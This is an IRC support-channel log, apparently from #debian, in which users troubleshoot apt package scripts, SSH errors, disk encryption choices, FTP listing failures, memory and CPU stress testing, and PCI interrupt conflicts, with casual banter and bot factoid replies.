| 22:14.37 | Muffin | Well, apt installs fine now that I tweaked its postinst. |
| 22:14.59 | enouf | Muffin: just remeber you commented those lines in /var/lib/dpkg/info/debian-archive-keyring.postinst (for future reference) |
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| 22:16.07 | enouf | Muffin: have you seen /msg dpkg confmiss ? not sure though .. treading on shaky ground here (for me anyways) |
| 22:16.39 | tuv | abrotman, nah.. too good to be true.. md5 mismatch |
| 22:16.44 | abrotman | hehe |
| 22:16.52 | enouf | Muffin: got to go for now .. bbl .. wish you well |
| 22:17.00 | Muffin | :) Thanks. |
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| 22:26.39 | abrotman | !Moo |
| 22:26.39 | dpkg | mooooooo! I am cow, hear me moo, I weigh twice as much as you. I'm a cow, eating grass, methane gas comes out my ass. I'm a cow, you could be too; join us all! type apt-get moo. |
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| 22:31.10 | dandaman32 | hey is this a good place to get support for debian gnu/hurd? |
| 22:32.00 | itchi | dandaman32: Just about curiousity, why use you GNU/Hurd? |
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| 22:32.24 | dandaman32 | been wanting to try it for some time |
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| 22:32.32 | dandaman32 | running it on a VMware virtual machine |
| 22:32.48 | dandaman32 | so no hardware risks/potential data loss involved :-) |
| 22:33.08 | itchi | dandaman32: Yoy wil be interesting be /msg ChanServ list *hurd* |
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| 22:33.46 | dandaman32 | ok thx |
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| 22:33.56 | itchi | ug |
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| 22:36.39 | n3kl_ | what does this mean: ssh_exchange_identification: Connection closed by remote host |
| 22:36.48 | capiira | happy holidays! |
| 22:36.53 | n3kl_ | capiira: yeah |
| 22:37.21 | daxxar | n3kl_, that the connection is closed by the remote host. |
| 22:37.23 | capiira | merry christmas too :) |
| 22:37.31 | daxxar | n3kl_, might be you're not added to /etc/hosts.allow for sshd. :-) |
| 22:37.39 | daxxar | (I seem to recall that it yields that error) |
| 22:38.03 | itchi | Not yet one that have flood an xmass ascii art today? |
| 22:38.21 | capiira | lol |
| 22:38.41 | n3kl_ | daxxar: I think that is it actually |
| 22:38.51 | n3kl_ | this is a new system, so yeah... Thanks |
| 22:39.04 | daxxar | It's a pleasure, if it's that error. |
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| 22:39.18 | capiira | btw does exist a debian site that shows me whats on queue to get into testing? |
| 22:39.27 | abrotman | !why is blah not in testing |
| 22:39.27 | dpkg | blah is not in testing for the reasons listed in http://bjorn.haxx.se/debian/testing.pl?package=blah |
| 22:40.06 | abrotman | if it actually comes up |
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| 22:40.37 | capiira | what a slow site |
| 22:40.38 | capiira | hehe |
| 22:40.46 | capiira | dont even load |
| 22:41.28 | abrotman | it's supposed to be there! |
| 22:42.01 | capiira | hmm not loading |
| 22:42.25 | capiira | anyway i dont want to know why, just if there is a list or something like that |
| 22:43.52 | abrotman | capiira: it's normally there :) |
| 22:44.01 | capiira | ahh ok :) |
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| 22:46.21 | capiira | i saved it down to try later |
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| 22:47.09 | abrotman | capiira: at the bottom it will say "Going into testing today" or something |
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| 22:47.21 | capiira | ahh cool |
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| 22:47.48 | capiira | does testing usually update bigger version changes? |
| 22:48.16 | abrotman | huh? |
| 22:48.24 | capiira | in general |
| 22:48.50 | capiira | 1->2 or just 1.11 to 1.12 |
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| 22:49.59 | rysiek|pl | guys, which method of encrypting the whole partition would you recommend? encfs, cryptoloop, any other? |
| 22:50.08 | capiira | kinda hard to understand that testing thing |
| 22:51.14 | capiira | ahh and btw. speaking of crypting hdd. Do i always need to format or is htere a way to convert too ? |
| 22:51.38 | rysiek|pl | capiira: convert from what to what |
| 22:51.54 | rysiek|pl | capiira: ext2 <-> ext3 works aok, AFAIK |
| 22:51.56 | capiira | etx3 to crypted aes256 ext3 |
| 22:52.20 | capiira | ext |
| 22:52.32 | rysiek|pl | capiira: I *think* you have to format, although I am not an expert |
| 22:52.48 | rysiek|pl | so, anybody with the encryption method? |
| 22:52.56 | capiira | im not one too heh |
| 22:53.54 | capiira | i heard a lot of dm-crypt luks |
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| 22:56.02 | rysiek|pl | capiira: yeah, reading about it right now ;) |
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| 22:56.22 | rysiek|pl | capiira: http://www.saout.de/misc/dm-crypt/ -> if you want to have a glimpse |
| 22:56.32 | capiira | yep thx |
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| 22:57.02 | capiira | look complicated |
| 22:57.06 | capiira | +s |
| 22:57.29 | geo-rge | look complicateds! |
| 22:57.38 | capiira | :) |
| 22:57.50 | capiira | hou hou hou |
| 22:58.40 | rysiek|pl | hous hous hous? |
| 22:58.53 | capiira | something without format would be very cool |
| 22:59.45 | rysiek|pl | capiira: well, I just got my hands on a brand new 160Gig disk... *God* it feels good not having to reformat to encrypt the filesystem! :] |
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| 23:00.08 | capiira | :) |
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| 23:00.53 | un_operateur | does anyone know how you can identify the make and/or model # of a network card and its association to the network devices (eth0, eth1, etc) from within a command line? |
| 23:01.07 | capiira | would be also interesting to know if a yet crypted hdd will always work in future kernels |
| 23:01.40 | rysiek|pl | capiira: for sure. cryptoloop is deprecated since 2.6.4 but it is still there, so that you can use it |
| 23:01.51 | capiira | then someday you update and bang |
| 23:01.52 | rysiek|pl | ...if you have an encrypted volume |
| 23:01.53 | capiira | heh |
| 23:02.16 | capiira | 2.6.4 is from ? |
| 23:02.17 | rysiek|pl | capiira: yeah, but AFAIK dm-crypt is compatible with cryptoloop-encrypted volumes |
| 23:02.40 | rysiek|pl | capiira: don't ask me. far far away and long not true ;) |
| 23:02.50 | capiira | :) |
| 23:03.14 | capiira | 2.6.4 sounds like from 2004/2005 |
| 23:03.31 | chris_goe | un_operateur, I usually use 'dmesg' for this |
| 23:03.49 | abrotman | ethtool or mii-tool |
| 23:04.19 | geo-rge | un_operateur: that sounds like about three things... you could try lspci for the first one |
| 23:04.23 | chris_goe | if dmesg rolled over, maybe /var/log/dmesg still holds this information |
| 23:04.47 | MatBoy | damn I had at least 4 broken disks when I ordered 18 :S |
| 23:05.02 | abrotman | ethtool -i <interface> |
| 23:06.24 | kspath | MatBoy, I have seen shipping people toss packages onto docks like they are titanium even when they say glass/delicate |
| 23:06.59 | MatBoy | kspath, yeah, I know it happens... it sucks |
| 23:07.18 | MatBoy | I drove 4 times back to the DC because evrery time I had drive-lockups :S |
| 23:07.19 | geo-rge | bb |
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| 23:08.30 | un_operateur | abrotman, chris_goe, geo-rge, thanks -- i think all three work together for just what i need :) |
| 23:09.40 | rysiek|pl | kspath: my friend has been to a computer service - two guys, three desks between them (~10m), guy A "yo, toss me that disk"; guy B tosses; guy A catches "thanks, bro". we never came back there |
| 23:09.57 | aidan | So I have this /etc/php5/conf.d/ with the enabled extensions in it, how do I load this folder from my php.ini? |
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| 23:13.39 | kspath | rysiek|pl, na prawda? |
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| 23:14.23 | rysiek|pl | kspath: na prawdÄ™ :) |
| 23:14.44 | CrazednDazed | I'm using lftp on debian and connecting to a fedora 5 machine running vsftpd just fine with the local address, 192.168.1.*. It's fully operational. However, when I use the actual IP address, I can't use ls or dir... Probably a setting in vsftpd? |
| 23:15.18 | beardy | CrazednDazed: Can you do anything, get a file then? |
| 23:15.23 | beardy | CrazednDazed: Or connect? |
| 23:15.27 | CrazednDazed | I can connect |
| 23:15.32 | blondie | !ftp |
| 23:15.32 | dpkg | [ftp] (File Transfer Protocol) This is a method of moving files from system to system using TCP/IP. There are three sane kinds of ftp: anonymous, encrypted and unprivileged (non-unix users). Unencrypted ftp using unix users will get your box pwn3d as fast as runnin windows on your firewall machine. |
| 23:15.34 | CrazednDazed | and cd into directories, but not get files or list them |
| 23:16.02 | beardy | !ftpmustdie |
| 23:16.03 | dpkg | FTP MUST DIE! http://wooledge.org/mywiki/FtpMustDie |
| 23:16.12 | CrazednDazed | if I could list the fiules, I could probably get one |
| 23:16.20 | beardy | Yes. |
| 23:16.27 | beardy | That's true.. |
| 23:16.43 | rysiek|pl | I don't even have an ftp server on my server |
| 23:17.19 | beardy | CrazednDazed: A firewall in between? |
| 23:17.30 | itchi | Is it not yet dead?? :-p |
| 23:17.31 | blondie | rysiek|pl: good |
| 23:17.42 | rysiek|pl | blondie: yeah, I know ;) |
| 23:19.18 | tuv | abrotman, memtester won't run on all memory (user space tool).. i ran it on 16M (50%) and no errors were found |
| 23:19.38 | abrotman | hrm ... |
| 23:19.54 | blackelf | tuv: use memtest86+ |
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| 23:20.01 | abrotman | it's ARM |
| 23:20.10 | abrotman | tuv: there are other stress testers |
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| 23:21.41 | tuv | abrotman, examples? |
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| 23:21.51 | abrotman | HI |
| 23:22.00 | CrazednDazed | I used ncftp, and it worked fine, which is weird |
| 23:22.05 | abrotman | !info stress etch |
| 23:22.09 | CrazednDazed | but happy holiday and thanks for the help! |
| 23:22.16 | dpkg | stress: (A tool to impose load on and stress test a computer system), section devel, is extra. Version: 0.18.4-1 (etch), Packaged size: 17 kB, Installed size: 52 kB |
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| 23:23.54 | abrotman | !info cpuburn etch |
| 23:23.56 | dpkg | cpuburn: (a collection of programs to put heavy load on CPU), section misc, is extra. Version: 1.4-23 (etch), Packaged size: 13 kB, Installed size: 68 kB |
| 23:23.59 | abrotman | !info crashme etch |
| 23:24.01 | dpkg | crashme: (Stress tests operating system stability), section devel, is optional. Version: 2.4-9 (etch), Packaged size: 15 kB, Installed size: 44 kB |
| 23:24.15 | abrotman | tuv: though .. maybe it really is just an NFS bug |
| 23:24.27 | capiira | ohh i think my psu will die soon |
| 23:24.58 | tuv | abrotman, cpuburn is a cpu thing. every process is practically a cpu stress test on a 133MHz ARM. aptitude does a good job at that |
| 23:25.16 | abrotman | okay |
| 23:25.25 | capiira | sometimes the lights flicker when gpu fan speed gets faster |
| 23:26.14 | Pappa | anyone know how to configure plug & play? |
| 23:26.28 | capiira | pray |
| 23:26.52 | blackelf | whats up with iran? |
| 23:27.03 | blackelf | rm wrong channel |
| 23:27.10 | capiira | lol |
| 23:27.22 | Pappa | do i have to edit the source myself? |
| 23:27.26 | Pappa | in drivers/pnp |
| 23:27.36 | Pappa | idiotic |
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| 23:28.07 | capiira | this is #debian and not #alqaida blackelf ;) |
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| 23:28.21 | blackelf | capiira: wtf? |
| 23:28.30 | capiira | :) just joking heh |
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| 23:35.03 | abrotman | Pappa: no |
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| 23:35.18 | Pappa | abrotman: where / how? |
| 23:35.28 | abrotman | you don't |
| 23:35.38 | abrotman | you use udev or hotplug usually |
| 23:35.50 | Pappa | hmm |
| 23:35.52 | Pappa | you see |
| 23:36.02 | Pappa | my interrupts suck. |
| 23:36.23 | Pappa | nvidia, ide1, ide2 and one usb port share the same irq |
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| 23:36.39 | Pappa | then it's two network interfaces sharing along with 5 more usb ports |
| 23:36.46 | Pappa | then a usb port has it's own |
| 23:36.51 | Pappa | and other horror |
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| 23:37.59 | Pappa | and there's free IRQ's |
| 23:38.26 | Pappa | and udev != PnP |
| 23:40.09 | abrotman | then muck with your bios |
| 23:40.09 | abrotman | or try module parameters |
| 23:40.33 | Pappa | module parameters are actually the most interesting |
| 23:40.45 | Pappa | the thing is i just don't know what i should pass to them |
| 23:41.15 | abrotman | IRQ=WorkDamnYou |
| 23:41.32 | abrotman | most of them are 'irq=9' or something like that |
| 23:41.36 | Pappa | IRQ is a valid module parameter? |
| 23:41.47 | Pappa | that kicks so much ass |
| 23:41.55 | Pappa | i've been googling for years then it's this simple |
| 23:41.56 | abrotman | Pappa: modinfo <module> |
| 23:42.09 | abrotman | like .. modinfo sb .. see the irq line ? |
| 23:42.49 | Pappa | damn |
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| 23:42.51 | abrotman | not all of them have an irq param |
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| 23:42.59 | Pappa | none of them have irq params! |
| 23:43.05 | beardy | Also in /pathtolinuxsource/Documentation/ and the correct file for sb. |
| 23:43.09 | beardy | IIRC |
| 23:43.53 | beardy | Atleast it was for OSS.. because I found it out, some time, somehow.. :) |
| 23:44.24 | Pappa | well |
| 23:44.59 | beardy | Who's pappa are you? |
| 23:45.00 | Pappa | via82cxx, nvidia, uhci-hcd, ohci-hcd, via-rhine and 8139too. None have IRQ params |
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| 23:45.24 | beardy | No, they don't need to then. |
| 23:45.51 | Pappa | is it that hard then? controlling what irq's they occupy? |
| 23:45.58 | mbertheau | I installed a package that doesn't let me uninstall it because of an error in postrm. How do I clean this up and ignore the postrm error? |
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| 23:46.25 | Pappa | i thought this was what "PnP OS" in bios what for, to let the OS configure IRQ's.. And linux won't let me? WTF? |
| 23:46.27 | enouf | Pappa: move to other slots, enable PnP OS in BIOS .. or dump the POS |
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| 23:46.43 | enouf | Pappa: using acpi? |
| 23:46.55 | Pappa | no i disabled acpi |
| 23:46.57 | Pappa | is that bad? |
| 23:47.01 | beardy | I'm not sure, can't you change IRQ in your bios, for the slots? |
| 23:47.09 | enouf | Pappa: se the area in BIOS in ISA resources .. set tto "Share as many" |
| 23:47.15 | Pappa | yeah for the slots i can |
| 23:47.28 | Pappa | well these are PCI cards and i don't have that option |
| 23:47.54 | Pappa | and what i set the slots too is completely ignored since linux overrides it (one of the first lines in dmesg) |
| 23:48.09 | beardy | Then you can override it too. |
| 23:48.12 | beardy | In Linux. |
| 23:48.35 | enouf | Pappa: likely .. but not until you tell us the hardware you're dealing with .. or you need other kernel parameters to help .. see http://www.gelato.unsw.edu.au/lxr/source/Documentation/kernel-parameters.txt?a=i386 |
| 23:48.49 | beardy | Pappa: But, perhaps ##linux knows more about that.. atleast more than me, now.. |
| 23:49.02 | Pappa | PCI: Using IRQ router VIA [1106/3177] at 0000:00:11.0 |
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| 23:49.32 | Pappa | POST shows IRQ's assigned to my slots |
| 23:49.47 | Pappa | then this happens: PCI: VIA IRQ fixup for 0000:00:11.1, from 255 to 14 |
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| 23:50.26 | beardy | Pappa: Can you repeat your initial problem, or tell us what device you need to work, or what the problem is? |
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| 23:53.49 | Pappa | beardy: my problem is that interrupts cause my system to be extremely unstable |
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| 23:54.11 | Pappa | i have to have one usb port free to start x, for instance |
| 23:54.24 | Pappa | and if i insert anything in that particular port, crash |
| 23:54.24 | beardy | Why is that? |
| 23:54.44 | Pappa | probably cause the port is spamming that IRQ or something |
| 23:54.59 | Pappa | <PROTECTED> |
| 23:55.06 | beardy | What crashed you mean? |
| 23:55.06 | Pappa | one line from /proc/interrupts |
| 23:55.20 | Pappa | see how bad that is? how incredibly stupid that is? |
| 23:55.42 | enouf | Pappa: paste your cat /proc/cmdline |
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| 23:56.03 | Pappa | root=/dev/hda4 ro |
| 23:56.23 | rysiek|pl | damn! I was aptitude installing something and had a terminal-app crash. now I get this: http://rafb.net/p/HNfAJX48.html - WTF?! |
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| 23:56.26 | enouf | ide0 and 1 should be on 14 and 15 respectively |
| 23:56.27 | beardy | Pappa: What version of Debian? |
| 23:57.23 | Pappa | i don't run debian actually, just thought i'd get help from some competent people (as this is non-distro specific i hope) |
| 23:57.44 | beardy | Then I really suggest asking in ##linux instead. |
| 23:57.46 | Pappa | ##linux told me to set them with Device Manager in windows |
| 23:57.56 | rysiek|pl | d'oh |
| 23:58.03 | Pappa | and when i told them i don't have it the topic just stopped |
| 23:58.05 | Pappa | so.. |
| 23:58.07 | enouf | edit your /menu.lst to say --> root=/dev/hda4 ro acpi=force lapic <--reboot into BIOS .. enable any APM/ACPI/APIC, and those ISA/PnP settings I said |
| 23:58.18 | beardy | Eh, right.. somewhere else then.. but, there is morons everywhere, wait for someone else.. |
| 23:58.48 | Pappa | do i seriously need APIC? that will make things alot worse |
| 23:58.57 | Pappa | i'm trying to build a DAW here |
| 23:59.02 | enouf | Pappa: ##linux on frenode wouldn't say that .. unless they were breaking your balls |
| 23:59.15 | enouf | Pappa: ok .. you win |
| 23:59.20 | iLLf8d | heh |
| 23:59.20 | enouf | !win Pappa |
| 23:59.21 | dpkg | Congratulations, Pappa! You have won a one way ticket to Fire Island! |
| 23:59.27 | enouf | ewww |
| 23:59.40 | Pappa | enouf: i can try again |
| 23:59.53 | Pappa | what do you mean i win? |